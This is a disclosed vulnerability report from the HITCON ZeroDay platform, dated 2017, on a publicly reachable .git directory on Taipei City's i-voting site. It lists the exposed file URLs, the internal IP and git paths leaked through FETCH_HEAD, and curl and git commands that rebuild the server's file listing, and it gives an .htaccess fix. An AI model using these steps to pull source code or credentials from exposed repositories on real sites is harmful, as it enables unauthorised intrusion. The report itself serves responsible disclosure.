Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00613
- Vendor: 台北市政府
- Title: 台北市政府敏感資訊洩漏
- Introduction: .git目錄沒有完全禁止存取
處理狀態
目前狀態
公開
Last Update : 2017/10/08
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2017/08/05 22:59:44 : 新提交 (由 Happyholic1203 更新此狀態)
- 2017/08/05 23:09:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/06 10:43:53 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/06 10:43:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/08/14 16:35:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/12 16:24:24 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/10/05 00:20:01 : 確認已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/10/08 03:00:41 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00613
- 通報者:Happyholic1203 (Happyholic1203)
- 風險:中
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ivoting.taipei/.git/FETCH_HEAD
https://ivoting.taipei/.git/refs/heads/master
https://ivoting.taipei/.git/index
https://ivoting.taipei/.gitignore
https://ivoting.taipei/.git/refs/heads/master
https://ivoting.taipei/.git/index
https://ivoting.taipei/.gitignore
敘述
i-voting有部份源始碼公開在 github
但是這裡的資訊洩露可以得到比公開部份還要多的資訊
一些內網情報
https://ivoting.taipei/.git/FETCH_HEAD
008ebeb06e9263b516754380423a018ac4c1430d branch 'master' of 172.25.65.16:/home/TCG005/gitserver/tcg006
3c26f741f7e94da7d79d8fd641f20662ce2a1ec1 not-for-merge branch 'practice_area' of 172.25.65.16:/home/TCG005/gitserver/tcg006
server目錄下有哪些檔案
$ git init
$ curl https://ivoting.taipei/.git/index > .git/index
$ git diff | head -n30
On branch master
Initial commit
Changes to be committed:
(use "git rm --cached <file>..." to unstage)
new file: .gitignore
new file: .htaccess
new file: LICENSE.txt
new file: administrator/cache/index.html
new file: administrator/code/com_users/models/users.php
new file: administrator/components/com_admin/admin.php
new file: administrator/components/com_admin/admin.xml
new file: administrator/components/com_admin/controller.php
new file: administrator/components/com_admin/controllers/index.html
new file: administrator/components/com_admin/controllers/profile.php
new file: administrator/components/com_admin/helpers/html/directory.php
new file: administrator/components/com_admin/helpers/html/index.html
new file: administrator/components/com_admin/helpers/html/phpsetting.php
奇妙的是.git裡好像沒code
.git/objects 裡似乎沒東西 照著.git/refs/heads/master裡的SHA1抓總是404
Ex. https://ivoting.taipei/.git/objects/00/8ebeb06e9263b516754380423a018ac4c1430d
一般情況下應該可以直接抓到source code
就可以繼續做白箱找漏洞 (可能裡面還有db password)
修補建議
目前`.git`目錄會回傳403 (表示目錄存在)
且內容仍可取存 (.git下的檔名大多可預測 因此仍會洩露資訊)
一種修補方式是在.htaccess中加入
```
RewriteEngine On
RewriteRule ^\.git/.* - [R=404]
```
這樣存取`.git`時會回傳404
攻擊者便無法分辨到底有沒有.git這個目錄存在
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。